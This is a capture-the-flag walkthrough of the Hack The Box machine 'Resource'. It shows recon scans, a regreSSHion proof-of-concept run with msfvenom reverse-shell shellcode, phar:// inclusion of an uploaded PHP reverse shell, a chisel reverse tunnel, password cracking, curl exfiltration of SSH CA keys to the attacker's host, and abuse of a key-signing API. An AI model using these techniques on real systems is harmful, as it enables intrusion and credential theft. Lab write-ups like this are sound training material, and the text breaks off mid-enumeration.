Resource

INTRODUCTION

Resource was released as first box of HTB’s Season 6, Heist. The box was created by the famous user, 0xdf - and it doesn’t disappoint! This box establishes a whole fictional company and a narrative of the scenario, to a degree that is rare among HTB boxes. We find ourselves attacking an IT service company that is going through a period of their certificate and key management. The box is full of rabbit-holes and distractions, making it slightly frustrating but definitely a more realistic simulation than many other HTB boxes. Although the steps in Resource tend to be short, they are numerous: by my count, I had to do five pivots between separate users to complete this box.

Aside from the distractions, recon is pretty easy on Resource. After finding the subdomain to attack, some simple directory/file enumeration will give you a rough map of the web app. A little exploration of the web app uncovers an unconventional file upload vulnerability involving deserialization. Exploitation of this vulnerability leads straight to a foothold.

Achieving the user flag requires a little bit of enumeration skill. The details we need to find won’t be found by many of the popular auto-enumeration tools, and may require a bit of homebrew scripting. While it’s technically unnecessary, accessing the database while seeking the user flag will add a lot of narrative context to the box, ultimately making the sprint for the root flag much more sensible.

Privilege escalation to the root flag was, at least in my opinion, a lot of fun. Very little enumeration is required, but a thorough understanding of the IT context will vastly improve planning efforts for privilege escalation. Here, we need to utilize a flawed system for signing SSH keys (from an internal/trusted CA certificate), but without actually having access to that CA cert - get ready to be a little creative!

Thanks 0xdf, this box was a lot of fun! I hope the stability issues on this box get fixed, because that was the only downside.

✏️ Edit: When I went to publish this walkthrough, I noticed that the rating had been changed to Hard. It was originally Medium.

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_  256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)

That’s interesting - they’re running two versions of SSH, one older than the other. Also notable is the HTTP redirect to http://itrc.ssg.htb

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE    VERSION
68/udp    open|filtered tcpwrapped
139/udp   open|filtered tcpwrapped
996/udp   open|filtered tcpwrapped
1030/udp  open|filtered iad1
2223/udp  open|filtered tcpwrapped
30718/udp open|filtered tcpwrapped
49200/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Vulnerability Research

Since all we can see are two open ports running two different versions of OpenSSH, it’s worth checking if the foothold lies in one of them. Normally I don’t investigate ways to attack SSH itself, but since there conspiculously two versions, it might yield a result this time.

As per the version shown in the script scan, I searched for “openssh 8.9p1 ubuntu 3ubuntu0.10 vulnerabilities” and immediately realized that this version of OpenSSH has a (fairly) famous vulnerability called RegreSSHion. More details can be found in this article from Qualys. It affects OpenSSH 8.5p1+.

“regreSSHion, CVE-2024-6387, is an unauthenticated remote code execution in OpenSSH’s server (sshd) that grants full root access. It affects the default configuration and does not require user interaction. It poses a significant exploit risk.”

Wow, that’s nuts! As expected, there are plenty of PoCs available. This one by l0n3m4n looks to be of particularly high quality, so I’ll try it out.

git clone https://github.com/l0n3m4n/CVE-2024-6387.git
cd CVE-2024-6387
# Generate some shellcode for a reverse shell, in C format
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=53 -f c
# Prepare to catch a reverse shell
sudo ufw allow from $RADDR to any port 53 proto tcp
bash
socat -d TCP-LISTEN:53 STDOUT

Now we need to insert the shellcode into 7etsuo-regreSSHion.c and compile it into exploit.so:

shellcode placed into exploti

gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c

As indicated in the python script, we need to uncomment a few lines at the beginning:

python exploit uncommented

Now we’re good to go - run the exploit:

python3 CVE-2024-6387.py --exploit $RADDR --port 2222

If I understand correctly, this exploit utilizes a race condition with the timeout event of the authentication process, so it’s probably going to take a loooong time to run. I’ll leave it running for a bit, while I investigate other things.

Webserver Strategy

Noting the redirect from the nmap scan, I added itrc.ssg.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=itrc.ssg.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Nothing too strange there. The PHP version seems to be a few months old, but nothing crazy.

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No result. Now I’ll check for other subdomains of ssg.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.ssg.htb" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

Still nothing… I’ll check for other subdomains of itrc.ssg.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.itrc.ssg.htb" -c -t 60 -o fuzzing/vhost-itrc.ssg.md -of md -timeout 4 -ic -ac -v

Nope - nothing from that either. I’ll move on to directory enumeration on http://itrc.ssg.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e .php,.js,.html,.txt -timeout 4

Directory enumeration against http://itrc.ssg.htb gave the following:

directory enum 1

Unsurprisingly, these pages match up with the querystring inside the URI of all locations in the web app, for example, this one loads dashboard.php:

maybe lfi

Could there be an LFI here? Not sure yet, but let’s try the other pages. Most of the pages are available through regular navigation around the site. Some are clearly code-only PHP documents with no frontend. One notable exception to both of these is admin.php:

admin page

Exploring the Website

Login as admin

I’ll try some quick credential-guessing at the login page, just to make sure I’m not overlooking something really obvious:

ffuf -u http://itrc.ssg.htb/api/login.php -r -t 16 -c -v \
-w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt:USER" \
-w "/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'user=USER&pass=PASS' \
-fr 'Login'

No result from that.

From the admin.php page, we see something saying to “Contact zzinter for manual provisioning” - perhaps that’s a username?

ffuf -u http://itrc.ssg.htb/api/login.php -r -t 16 -c -v \
-w "/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'user=zzinter&pass=PASS' \
-fr 'Login'

Ticket ID - IDOR

From the image above, we can see that the Ticket ID is plainly visible. Unfortunately, we can’t easily utilize this as an IDOR - attempting to load tickets (such as using the URL http://itrc.ssg.htb/?page=ticket&id=3) result in a toast “Unable to retieve ticket”:

unable to reteive

FOOTHOLD

Ticket Submission

File Upload

As shown in the previous image, I took some time to play around with defining a new ticket. The form is simple, but there might be a few interesting options:

new ticket

There are three inputs available to us here: the subject, the issue, and the attachment. Indirectly, we can also affect the Ticket ID. I’ll make a bogus zip file that contains a PHP webshell, just for sake of testing:

mkdir test
cp ~/Tools/STAGING/webshell.php  ./test/test.php
zip -r test.zip test

Uploading this zip and viewing the ticket again, we see a link to the uploaded zip:

test ticket with uploaded zip

🤔 The format of that filename looks familiar. It’s not in UUID format, as we might expect it to be. Is it a hash?

for algo in 1 224 256 384 512 512224 512256; do echo -e "\nTesting SHA-$algo"; shasum -a $algo test.zip; done

Suspicion confirmed - it is a SHA-1 hash!

Why does that matter? Well, aside from mechanisms like allow-listing various file extensions or MIME types, renaming an uploaded file is a pretty good way to thwart file upload attacks. Next, I’ll investigate what other protections are in place.

Checking upload restrictions

Let’s check what happens when submitting alternative file extensions. We already know .zip works. I’ll start with this wordlist of PHP extensions, and attach it to a zip extension in a few ways.

#!/bin/bash
OUTFILE=php_zip_extensions.lst
PHP_EXTENSIONS=extensions.lst
EXT='.zip'
echo "$EXT" >> $OUTFILE;
while read -r PHP; do 
    echo "$PHP" >> $OUTFILE;
    echo "$EXT$PHP" >> $OUTFILE;
    echo "$PHP$EXT" >> $OUTFILE; 
    for CHAR in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
        echo "$PHP$CHAR$EXT" >> $OUTFILE;
    done; 
done < $PHP_EXTENSIONS;

cat $OUTFILE | sort -u > "$OUTFILE.tmp"
mv "$OUTFILE.tmp" $OUTFILE

echo "Wrote wordlist to: $OUTFILE"

I ran that, then used the resulting wordlist with ffuf:

WLIST=php_zip_extensions.lst
ffuf -w $WLIST -request comment_file_upload.raw -c -t 60 -timeout 4 -ic -fs 0

Plenty of file extensions worked properly. Specifically, all of the ones that ended with .zip worked:

file extension fuzzing 1

The results were visible on the Comments section of the test Ticket that I created. Unfortunately though, the filename always ends with .zip, regardless of what extension the file was created with:

file extension fuzzing result

This means that a malicious file upload will not be possible.

File Inclusion

We already saw from earlier that it is possible to use a URI like http://itrc.ssg.htb/?page=PAGENAME to load a certain PHP file from the server. Sometimes, servers written to load pages in this way can be tricked into loading other resources.

Local File Inclusion

To check for an LFI, I’ll specifically search for /etc/passwd. I’ll check a variety of path traversals by using one of my own tools, Alfie.

The intended workflow is to use filter mode, then scan mode, then enumerate mode. Each mode leads into the next one.

# Try to find sensible filters to apply
python3 alfie.py -u 'http://itrc.ssg.htb/?page=' -b "PHPSESSID=81043be7d4a8631317e539931112cb6b" filter 

alfie filter

# Try scanning for different ways that /etc/passwd can be accessed
python3 alfie.py -u 'http://itrc.ssg.htb/?page=' -b "PHPSESSID=81043be7d4a8631317e539931112cb6b" -fs '3956-3997' -fw '191' scan

No result - This means that Alfie wasn’t able to access /etc/passwd using any known traversal.

I also tried accessing the known PHP files using filters, as this can be useful for obtaining the source code. However, none of these tests were successful:

PHP Wrappers

The php://fd wrapper can be useful. If you get really lucky, it can divulge environment variables. I checked for it using a simple ZAP Fuzz to check for all file descriptors between 0 and 999:

fuzz for file descriptors

No luck with php://fd.

Two wrappers that are useful for gaining RCE are expect:// and php://input. While it didn’t actually lead to RCE, the expect:// wrapper was actually useful - by causing an error, it disclosed what the webserver root directory is and that the funciton file_exists() is being used!

php expect

What about php://input? It’s used by passing PHP code into the body of the request:

 curl -X POST -b 'PHPSESSID=81043be7d4a8631317e539931112cb6b'  --data "<?php phpinfo(); ?>" 'http://itrc.ssg.htb/?page=php://input'

Nope, no result from that either (all of these negative results just lead to the default dashboard page).

Stream Wrappers

Since we know that PHP is attempting to call the file_exists() function, using the page URL parameter as an argument, we might be able to trick it into loading other resources. As far as I know, the streams that PHP can use are: http://, ftp://, file://, php:// and phar://.

I’ll start with HTTP, and try to get the target to load a resource from a webserver running on my attacker machine:

👇 I’m using one of my own tools, kind of a drop-in replacement for Python http.server. Check it out here, if you want.

sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000
COOKIE='PHPSESSID=81043be7d4a8631317e539931112cb6b'
curl -b $COOKIE 'http://itrc.ssg.htb/?page=http://10.10.14.50:8000/index.html'

No request came into my server. Perhaps they’re doing something to deny remote http streams.

Let’s try FTP as well:

sudo ufw allow from $RADDR to any port 20,21 proto tcp
sudo responder -I tun0 &
COOKIE='PHPSESSID=81043be7d4a8631317e539931112cb6b'
curl -b $COOKIE 'http://itrc.ssg.htb/?page=ftp://10.10.14.50/nonexistentfile'

The target actually contacted me using FTP:

FTP request

Very cool! Perhaps I can serve it a PHP file, and try to leverage this as a Remote File Inclusion to gain RCE? 🚩

pip3 install pyftpdlib
cd www
echo '<?php phpinfo(); ?>' > test.php
python3 -m pyftpdlib -p 21

With that file hosted, I’ll try loading it through the target webserver:

COOKIE='PHPSESSID=81043be7d4a8631317e539931112cb6b'
curl -b $COOKIE 'http://itrc.ssg.htb/?page=ftp://10.10.14.50/test.php'

contact to FTP

Ok, good to know - it’s automatically appending a .php onto the end of the file. Let’s try that again, but without a file extension:

curl -b $COOKIE 'http://itrc.ssg.htb/?page=ftp://10.10.14.50/test'

contact to FTP 2

Well duh, of course it’s not a directory! But why is it attempting the CWD command instead of just a GET? 🤔

After a little bit of trying to make FTP work, I ultimately could not seem to get it to open a file. I may revisit this technique if I run out of other ideas 🚩

The next stream wrapper to check is file://. It’s pretty self-explanatory - we can use it to access a file on the local filesystem.

WLIST=/usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
ffuf -w $WLIST -u 'http://itrc.ssg.htb/?page=file:///var/www/itrc/FUZZ' \
-b "PHPSESSID=81043be7d4a8631317e539931112cb6b" -c -t 60 -timeout 4 -ic -fs 3762

file wrapper results

Unfortunately, these two results just yield a blank page. Even when checking the page source (Ctrl+u) wll we see is the typical page header and footer with no body. This makes a bit of sense though, because the code to include the resource is probably only only seeking PHP (and automatically adding a .php extension onto it, too).

The file:// wrapper didnt’ work out, and we’ve already checked the php:// wrapper to some extent, so the next one to investigate is phar://. The PHAR format is a PHP archive, and contains serialized PHP code - very similar to how a jar file works in Java, or a pickle in Python.

Another advantage is that using a phar:// stream makes the application ignore the file extension. Using it, we can access data directly inside a zip file, too.

revshell.php is just the “PHP Pentestmonkey” reverse shell, taken from https://www.revshells.com/

zip revshell.zip revshell.php
shasum -a 1 revshell.zip  # Just take note of the hash
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
nc -lvnp 4444

upload revshell

I found this article to be very helpful in describing the overall process. Many articles you read about phar deserialization attacks are overly complicated for this context. We’re actually doing something really simple.

For more advanced attacks, check out phpggc. This is especially true if you’re attacking a PHP-based CMS.

Now we can access the contents of that file using the phar stream wrapper. Remember that the target is appending php to the end of the path, so we can access our revshell by “peeking” inside the zip using the phar stream wrapper:

http://itrc.ssg.htb/?page=phar://uploads/e342771bb1b1aaa9d47cac1cff8bf00f73d07dbd.zip/revshell

reverse shell

Excellent - we now have a reverse shell.

🙃 Efforts to upgrade the shell were unsuccessful… Not sure why.

We can at least get bash by using perl:

perl -e 'exec "/bin/bash"'

USER FLAG

Local Enumeration - www-data

It seems that there are three users to consider:

msainristil:x:1000:1000::/home/msainristil:/bin/bash
root:x:0:0:root:/root:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash

I think the best place to start enumeration is by checking out the home directory of the user that was exploited to gain a foothold - almost always the webserver root. In this case, it’s /var/www/.

Oddly enough, I found a .bash_history file (which in HTB is usually redirected into /dev/null). This time, however, it seemed to contain some juicy hints. It’s unclear whether or not this is part of the box, or an artifact of another HTB player:

whoami
ls -la /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
whoami
ls -la /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
whoami
ls -la /var/www/itrc/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
python3 --version
python --version
ls -la
cat db.php
cd /tmp
ls -la
vim shell.php
cd /tmp
wget http://10.10.16.7/shell.php
ls -la
ls
rm shell.php
ls -la
rm .shell.php.swp
ls -la
id
uname -a
ls /home
cd /var/www/itrc
ls -la
ls -la uploads
for zipfile in uploads/*.zip; do zipgrep "msainristil" "$zipfile"; done

That last line is very interesting. Personally, I usually do this task slightly differently - I check for all the users all at once:

GREP_PROG=$(which zgrep || which grep)
for usr in `cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:' | cut -d ':' -f 1`; do \
echo "---------------"; \
echo "Searching for user: $usr"; \
find . -maxdepth 2 -type f ! -path '/proc/*' ! -path '/dev/*' -exec $GREP_PROG -H $usr {} \; 2>/dev/null; \
done

Regardless of which way you grep the zip files, there is a plaintext credential sitting inside one of them; inside /var/www/uploads/c2f4813259cc57fab36b311c5058cf031cb6eb51.zip we find the credentials msainristil : 82yards2closeit

found credentials

Before I do anything else, I’ll check if these credentials are valid for either SSH connection:

# For each of these, use the password "82yards2closeit"
ssh -p 2222 msainristil@$RADDR
# Nope...
ssh msainristil@$RADDR
# Yep!

msainristil ssh

👏 Awesome! Now we have a nice, stable SSH connection with no need to re-exploit the webserver.

Before I forget though, let’s finish looking through /var/www as www-data

  • As expected, db.php contains some database credentials:

    <?php
    
    $dsn = "mysql:host=db;dbname=resourcecenter;";
    $dbusername = "jj";
    $dbpassword = "ugEG5rR5SG8uPd";
    $pdo = new PDO($dsn, $dbusername, $dbpassword);
    
    try {
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    } catch (PDOException $e) {
        die("Connection failed: " . $e->getMessage());
    }
    

    Aha, look at that hostname: “db”. We’re probably inside a docker container, with a name like that.

  • The contents of admin.php also show some interesting stuff. Here is the portion that interacts with the API:

    <script>
        const pingButton = document.getElementById("button-ping");
        const provisionButton = document.getElementById("button-provision-user");
    
        pingButton.addEventListener("click", () => {
            const host = document.getElementById("hostUp").value;
            var xhr = new XMLHttpRequest();
            xhr.responseType = "json";
            xhr.open("POST", "/api/admin.php", true);
            xhr.setRequestHeader('Content-Type', 'application/json');
            xhr.send(JSON.stringify({mode: "ping", host: host}));
            xhr.onload = function() {
                if (xhr.response["success"]) {
                    if (xhr.response["up"]) {
                        showFlash("Host is up");
                    } else {
                        showFlash("Host is down");
                    }
                } else {
                    showFlash("Error pinging host");
                }
            }
        });
    
        provisionButton.addEventListener("click", () => {
            const user = document.getElementById("provisionUser").value;
            var xhr = new XMLHttpRequest();
            xhr.responseType = "json";
            xhr.open("POST", "/api/admin.php", true);
            xhr.setRequestHeader('Content-Type', 'application/json');
            xhr.send(JSON.stringify({mode: "userprov", user: user}));
            xhr.onload = function() {
                if (xhr.response["success"]) {
                    showFlash("Ticket created for Active Directory team");
                } else {
                    showFlash("Error creating ticket");
                }
            }
        });
    </script>
    
  • Here is the portion of the API that connects to admin.php. While the “provision user” endpoint is actually fake, the “ping” one may have actually been exploitable (if I knew any way to bypass the FILTER_VALIDATE_DOMAIN part, that is):

    <?php
    
    session_start();
    
    $_POST = json_decode(file_get_contents('php://input'), true);
    
    if (isset($_POST['mode'])) {
        if ($_POST['mode'] === "ping") {
            if (isset($_POST["host"]) and (filter_var($_POST["host"], FILTER_VALIDATE_IP) or filter_var($_POST["host"], FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME))) {
                exec("timeout 1 ping -c 1 " . $_POST["host"], $output, $result);
                if ($result == 0) {
                    echo json_encode(array("success" => true, "up" => true));
                } else {
                    echo json_encode(array("success" => true, "up" => false, "debug" => $_POST["host"]));
                }
                die();
            } else {
                echo json_encode(array("success" => false, "error" => "Invalid host"));
                die();
            }
        } elseif ($_POST['mode'] === "userprov") {
            // do some stuff to create ticket
            echo json_encode(array("success" => true));
        }
    
    }
    
    http_response_code(500);
    

    Besides those files, it was just a pretty typical web application.

    Local Enumeration - msainristil

    MySQL

    Although I could have done this as www-data, I should really check out that MySQL database that we found credentials for in db.php. I’ll use chisel to set up a SOCKS proxy, then connect to the database from my attacker machine.

    # From the attacker machine, run chisel server:
    sudo ufw allow from $RADDR to any port 9999
    /home/kali/Tools/STAGING/chisel server --port 9999 --reverse &
    # Then from the target machine, connect back using chisel client:
    ./chisel client $LADDR:9999 R:1080:socks & 
    

    To test that it worked, I’ll do a round-trip test (attacker -> target -> attacker) to get the index page from my local python webserver hosting (the server I’m using to host my toolbox, which contains chisel):

    proxychains curl http://10.10.14.2:8000
    

    👍 It loads fine, so let’s now connect to that database:

    proxychains mysql -h 'db' -D 'resourcecenter' -u 'jj' -pugEG5rR5SG8uPd
    

    database tables

    Users Table

    The users table is always a solid choice; let’s read it first:

    mysql users table

    I copy-pasted the rows into a text file on my attacker machine (users_table.txt) then transformed it into an appropriate format for reading with john or hashcat:

    cat users_table.txt | awk '{print $4 ":" $6}' | tee users.hash
    

    hashes from db

    Now let’s start cracking, and see what we get. I’m expecting that at least the password for jimbob will be found:

    john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt users.hash
    

    After quite some time, I still only had two (very easy) passwords from this table:

    cracked passwords

    ( I eventually also got hacker : Password1!)

    Since this is HTB, that means that the rest are probably not meant to be crackable. I’ll give up on cracking these for now, and explore the rest of the DB.

    Messages Table

    The messages table shows some really interesting info. No secrets, as far as I can tell, but definitely some hints. It contains a bunch of messages between users on the system.

    To make things a little more readable, I’ve joined the users and messages tables, copy-pasted the data to my attacker machine, then made the formatting a little nicer.

    while read -r LINE; do 
    	echo $LINE 
    		| cut -d '|' -f 2,3,4 
    		| sed 's/^ *//; s/ *| */|/' 
    		| sed 's/|/ \(/' 
    		| sed 's/^ *//; s/ *| */|/' 
    		| sed 's/|/):\n/'; 
    	echo -e " "; 
    done < messages_table.txt
    
    
    zzinter (2024-02-05 15:32:54):
    They see the issue. I'm going to have to work with the IT team in corporate to get this resolved. For now, they've given me access to the IT server and a bash script to generate keys. I'll handle all SSH provisioning tickets. 
    
    msainristil (2024-02-05 15:45:11):
    It's this kind of stuff that makes me say it was a bad idea to move off the old system. 
    
    zzinter (2024-02-06 09:12:11):
    I've sent you the signed key via secure email 
    
    bmcgregor (2024-02-06 11:25:33):
    Got it. Thanks. 
    
    zzinter (2024-02-07 16:21:23):
    The API from the IT server seems to be working well now. I've got a script that will sign public keys with the appropriate principal to validate it works. I'm still handling these tickets, but hopefully we'll have it resolved soon. 
    
    msainristil (2024-02-09 16:45:19):
    The new system is super flakey. I know it won't work across the rest of the company, but I'm going to at least leave the old certificate in place here until we prove we can work on the new one 
    
    msainristil (2024-02-10 09:12:11):
    Old certificates have been taken out of /etc. I've got the old signing cert secured. This server will trust both the old and the new for some time until we work out any issues with the new system. 
    
    zzinter (2024-02-10 11:27:43):
    Thanks for the update. I'm sure the new system will be fine. Closing this ticket. 
    
    zzinter (2024-02-10 11:53:42):
    All testing of the updated API seems good. At IT's request I've deleted my SSH keys for their server. I'll still handle tickets using the script until we get a chance to update the ITRC web admin panel to use it. 
    
    Tickets Table

    Last but not least, the tickets table has references to a couple of files:

    tickets table

    Naturally, I downloaded both the of the attachments that they referenced in their messages…

    cd loot
    curl http://itrc.ssg.htb/uploads/e8c6575573384aeeab4d093cc99c7e5927614185.zip \
    -o pubkey-mgraham-please-sign.zip
    curl http://itrc.ssg.htb/uploads/eb65074fe37671509f24d1652a44944be61e4360.zip \
    -o mcgregor_pub.zip
    

    Filesystem

    Upon logging in as msainristil, we immediately see a strange directory called decommission_old_ca:

certs

These must be the certificates that they mentioned in all those messages in the messages table, and what they were using to sign SSH keys (as mentioned in the tickets table)! Fantastic - let’s exfiltrate these:

# On the attacker machine, use an HTTP server for uploading:
cd loot
simple-server 8000 -v
# On the target machine, bundle then upload the directory:
tar -czvf decommission_old_ca.tar.gz decommission_old_ca
mv decommission_old_ca.tar.gz /tmp/.Tools/
curl -X POST -F 'file=@/tmp/.Tools/decommission_old_ca.tar.gz' http://10.10.14.2:8000

Taking a quick look at these files, I see that they are a collection of OpenSSH private keys and public keys. I asked ChatGPT to summarize the workflow for signing SSH keys with certificates:

1. Certificate Authority (CA) Setup:
  • CA Key: An organization sets up a Certificate Authority (CA) by generating a CA private/public key pair.
  • CA Public Key Distribution: The CA’s public key is then distributed to all SSH servers within the organization.
2. Signing SSH Keys:
  • User SSH Key: A user generates an SSH key pair (private/public key).
  • Certificate Signing Request: The user submits their public SSH key to the CA for signing.
  • CA Signing: The CA signs the user’s public key, creating an SSH certificate. This certificate includes information like the user’s identity, permitted principals (usernames), and an expiration date.
  • Issued Certificate: The signed certificate is returned to the user, who can now use it alongside their SSH key.
3. Using the Signed SSH Key:
  • Authentication: When the user attempts to SSH into a server, the server checks the certificate against the CA’s public key (which it already trusts).
  • Access Control: If the certificate is valid and the user is allowed access, the SSH connection is established.

It would be a little silly to dive too deep into this without just trying the keys, right? I’ve never heard of nico, so I’ll just try the root key right away:

ssh -i ./root root@$RADDR

container root ssh

😮 It worked?!?

Don’t get too excited though - this is, after all, only the root user within the container. It does give us full access to the other user on the box though, zzinter (That’s the user that is supposedly in charge of provisioning SSH keys for people).

… but more importantly, zzinter is the other user within this container that has a home directory. A quick check reveals that they hold the user flag!

zzinter home

Just cat out the flag for some well-earned points.

cat /home/zzinter/user.txt

ROOT FLAG

Local Enumeration - zzinter

As shown in the previous image, there is a second file in /home/zzinter: a script called sign_key_api.sh. In the context of the messages we saw earlier in the database, the script makes perfect sense - it’s used for signing SSH keys so employees can access various servers within the company.

#!/bin/bash

usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}

if [ "$#" -ne 3 ]; then
    usage
fi

public_key_file="$1"
username="$2"
principal_str="$3"

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

public_key=$(cat $public_key_file)

curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

However, it doesn’t correlate perfectly with the messages from earlier. Two of the requests for SSH provisioning were:

  • from mgraham for the HR server
  • from mcgregor for the Marketing server

As we can see from sign_key_api.sh, neither of those servers are valid principals. Is that intentional? Hard to say

The script also shows a mapping between four principals onto three users:

PrincipalUser
webserverwebadmin
analyticsanalytics
supportsupport
securitysupport

SSH key signing

None of these users are present on the target (which we already know is a docker container). My suspicion is that these might be users either on the docker host, or on whatever host is running SSH on port 2222.

Another useful finding from this script is the presence of a yet-unknown subdomain, signserv.ssg.htb/v1/sign. Let’s add this to /etc/hosts and do some enumeration of the API (perhaps there is an endpoint besides “sign”?)

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
ffuf -w $WLIST:FUZZ -X POST -u http://signserv.ssg.htb/v1/FUZZ \
-H "Content-Type: application/json" \
-H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
-t 60 -c -timeout 4 -v -mc all -fs 22

Nope… no results other than the /sign endpoint.

Just to see what the response looks like, I’ll try proxying a request to the /sign endpoint:

request ssh key cert

Let’s try making a signed OpenSSH keypair for each of these users:

mkdir keys && cd keys
vim sign_key_api.sh  # Copy the script from the target
chmod +x sign_key_api.sh
for USR in webadmin analytics support; do ssh-keygen -t rsa -b 4096 -f $USR -N "birb12345"; done
./sign_key_api.sh analytics.pub "analytics" "analytics" | tee analytics-cert.pub
./sign_key_api.sh webadmin.pub "webadmin" "webserver" | tee webadmin-cert.pub
./sign_key_api.sh support.pub "support" "support,security" | tee support-cert.pub

Now let’s try logging in with these users. We supply the *-cert.pub file along with the private key when attempting a login.

As an example, this is how you’d supply the signed key for the analytics user:

ssh -p 2222 -i analytics -i analytics-cert.pub analytics@$RADDR

analytics ssh denied

Nope.

webadmin ssh denied

Nope.

support ssh accepted

Yep! 😁 We now have access to another host. Given the hostname, ssg, this is probably the docker host (itrc.ssg.htb)!

Local Enumeration - support

I was curious to see if this host was running the webserver for signserv.ssg.htb, so I checked netstat:

support netstat

I already knew from earlier that signserv.ssg.htb was running nginx, so I immediately checked /etc/nginx/sites-enabled. We can see a setup that establishes a webserver for signserv.ssg.htb and a reverse proxy for itrc.ssg.htb:

ssg nginx configuration

From /etc/passwd we see there are three users to care about on this host:

root:x:0:0:root:/root:/bin/bash
support:x:1000:1000:support:/home/support:/bin/bash
zzinter:x:1001:1001::/home/zzinter:/bin/bash

From the messages we saw earlier we knew that zzinter had access to the broader corporate IT systems at some point, but that they had since deleted their SSH keys. It’s interesting that they still have an account on the system even though their SSH access was revoked.

Under /opt we see further evidence of zzinter on this host:

ssg opt

Let’s take a peek through the filesystem, and see if there’s anything mentioning zzinter or support. Normally, I’d just do this with some bash scripting, like this:

GREP_PROG=$(which zgrep || which grep)
